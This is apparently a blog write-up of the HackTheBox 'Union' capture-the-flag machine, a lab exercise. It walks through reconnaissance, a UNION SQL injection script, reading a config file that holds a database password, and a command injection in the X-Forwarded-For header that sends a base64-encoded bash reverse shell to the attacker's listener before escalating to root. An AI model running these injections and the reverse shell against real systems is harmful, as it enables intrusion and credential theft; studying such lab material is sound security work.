Post

HackTheBox Union Writeup

Explore the fundamentals of cybersecurity in the Union Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.10.128 union.htb

Script to add hosts automatically

1
2
3
ip="10.10.10.128"
domain="union.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV 10.10.11.128
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.128
Host is up (0.049s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Exploration

Access the target URL:

1
http://10.10.11.128/

Use ffuf to discover endpoints:

1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220

Found Endpoints:

  • css: Status 301, Size 178
  • firewall.php: Status 200, Size 13
  • config.php: Status 200, Size 0
  • challenge.php: Status 200, Size 772

Union SQL Injection

Union SQL Injection allows combining results from multiple SELECT statements. More information can be found here.

Testing Input

Testing the player parameter with curl shows normal inputs don’t work, but UNION SQL injections targeting a single column do:

1
curl http://10.10.11.128/index.php -d "player=' union select database() -- -"

Response:

1
Sorry, november, you are not eligible due to already qualifying.

Extracting Data

Use this simple script to perform sql querries:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
POST_URL="http://10.10.11.128/index.php"
POST_DATA="player=' union %s -- -"
PATTERN="Sorry, (.*) you are not eligible due to already qualifying."
function send_post {
    local sqli=$1
    response=$(curl -s -d "$(printf "$POST_DATA" "$sqli")" "$POST_URL")
    if [[ $response == Sorry* ]]; then
        if [[ $response =~ $PATTERN ]]; then
            echo "${match[1]}"
        else
            echo "No match found in response."
        fi
    else
        echo "ERROR"
    fi
}
while true; do
    echo -n "SQLi> "
    read sqli
    if [[ $sqli == "exit" ]]; then
        break
    elif [[ -z $sqli ]]; then
        continue
    fi
    send_post "$sqli"
done

SQL Queries:

  • Get the database name:
    1
    
    SELECT database();
    

    Output: november

  • List tables:
    1
    
    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'november';
    

    Output: flag, players

  • List columns in flag table:
    1
    
    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag';
    

    Output: one

  • Retrieve the flag:
    1
    
    SELECT one FROM flag;
    

Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.

  • Load configuration file:
    1
    
    SELECT LOAD_FILE('/var/www/html/config.php');
    

Contents of config.php:

1
2
3
4
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";

SSH Access:

1
ssh uhc@10.10.11.128

Retrieve the user flag:

1
cat user.txt

On the SSH machine, inspect the firewall.php file:

1
cat /var/www/html/firewall.php  

The script uses sudo to execute a system command, indicating that the www-data user may have elevated permissions. The $ip variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For HTTP request header and appending a command using a semicolon (;) or a comment (#).

Set up a listener for incoming connections with:

1
nc -lvnp 9001
1
2
3
4
echo -en "PHPSESSID Coockie? "
read coockie
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl 10.10.11.128/firewall.php -H "X-Forwarded-For: ; echo $(echo -n 'bash  -i >& /dev/tcp/'$ip'/9001 0>&1' | base64 ) | base64 -d | bash ;" -H 'Cookie: PHPSESSID='$coockie'' 
1
2
3
sudo -l
sudo su
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.